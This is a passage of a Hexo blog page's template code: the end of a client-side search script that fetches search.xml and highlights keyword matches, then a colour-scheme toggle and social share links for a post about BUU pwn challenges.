              if (!data.title || data.title.trim() === '') {
                data.title = "Untitled";
              }
              var orig_data_title = data.title.trim();
              var data_title = orig_data_title.toLowerCase();
              var orig_data_content = data.content.trim().replace(/<[^>]+>/g, "");
              var data_content = orig_data_content.toLowerCase();
              var data_url = data.url;
              var index_title = -1;
              var index_content = -1;
              var first_occur = -1;
              // only match artiles with not empty contents
              if (data_content !== '') {
                keywords.forEach(function (keyword, i) {
                  index_title = data_title.indexOf(keyword);
                  index_content = data_content.indexOf(keyword);

                  if (index_title < 0 && index_content < 0) {
                    isMatch = false;
                  } else {
                    if (index_content < 0) {
                      index_content = 0;
                    }
                    if (i == 0) {
                      first_occur = index_content;
                    }
                    // content_index.push({index_content:index_content, keyword_len:keyword_len});
                  }
                });
              } else {
                isMatch = false;
              }
              // 0x05. show search results
              if (isMatch) {
                str += "<li><a href='" + data_url + "' class='search-result-title'>" + orig_data_title + "</a>";
                var content = orig_data_content;
                if (first_occur >= 0) {
                  // cut out 100 characters
                  var start = first_occur - 20;
                  var end = first_occur + 80;

                  if (start < 0) {
                    start = 0;
                  }

                  if (start == 0) {
                    end = 100;
                  }

                  if (end > content.length) {
                    end = content.length;
                  }

                  var match_content = content.substr(start, end);

                  // highlight all keywords
                  keywords.forEach(function (keyword) {
                    var regS = new RegExp(keyword, "gi");
                    match_content = match_content.replace(regS, "<span class=\"search-keyword\">" + keyword + "</span>");
                  });

                  str += "<p class=\"search-result-abstract\">" + match_content + "...</p>"
                }
                str += "</li>";
              }
            });
            str += "</ul>";
            if (str.indexOf('<li>') === -1) {
              return $resultContent.innerHTML = "<ul><span class='local-search-empty'>No result<span></ul>";
            }
            $resultContent.innerHTML = str;
          });
        },
        error: function(xhr, status, error) {
          $resultContent.innerHTML = ""
          if (xhr.status === 404) {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The search.xml file was not found, please refer to：<a href='https://github.com/zchengsite/hexo-theme-oranges#configuration' target='_black'>configuration</a><span></ul>";
          } else {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The request failed, Try to refresh the page or try again later.<span></ul>";
          }
        }
      });
      $(document).on('click', '#search-close-icon', function() {
        $('#search-input').val('');
        $('#search-result').html('');
      });
    }

    var getSearchFile = function() {
        var path = "/search.xml";
        searchFunc(path, 'search-input', 'search-result');
    }
  </script>




        
  <div class="tools-bar-item theme-icon" id="switch-color-scheme">
    <a href="javascript: void(0)">
      <i id="theme-icon" class="iconfont icon-moon"></i>
    </a>
  </div>

  
<script src="/js/colorscheme.js"></script>





        
  
    <div class="share-icon tools-bar-item">
      <a href="javascript: void(0)" id="share-icon">
        <i class="iconfont iconshare"></i>
      </a>
      <div class="share-content hidden">
        
          <a class="share-item" href="https://twitter.com/intent/tweet?text=' + BUU_PWN%E5%88%B7%E9%A2%98_0x50-0x5F + '&url=' + https%3A%2F%2Fghostasky.github.io%2F2021%2F12%2F08%2FBUU-PWN-0x50-0x5F%2F + '" target="_blank" title="Twitter">
            <i class="iconfont icon-twitter"></i>
          </a>
        
        
          <a class="share-item" href="https://www.facebook.com/sharer.php?u=https://ghostasky.github.io/2021/12/08/BUU-PWN-0x50-0x5F/" target="_blank" title="Facebook">
            <i class="iconfont icon-facebooksquare"></i>
          </a>
        
      </div>
    </div>
  
  
<script src="/js/shares.js"></script>



      </div>
    </div>
  </body>
</html>
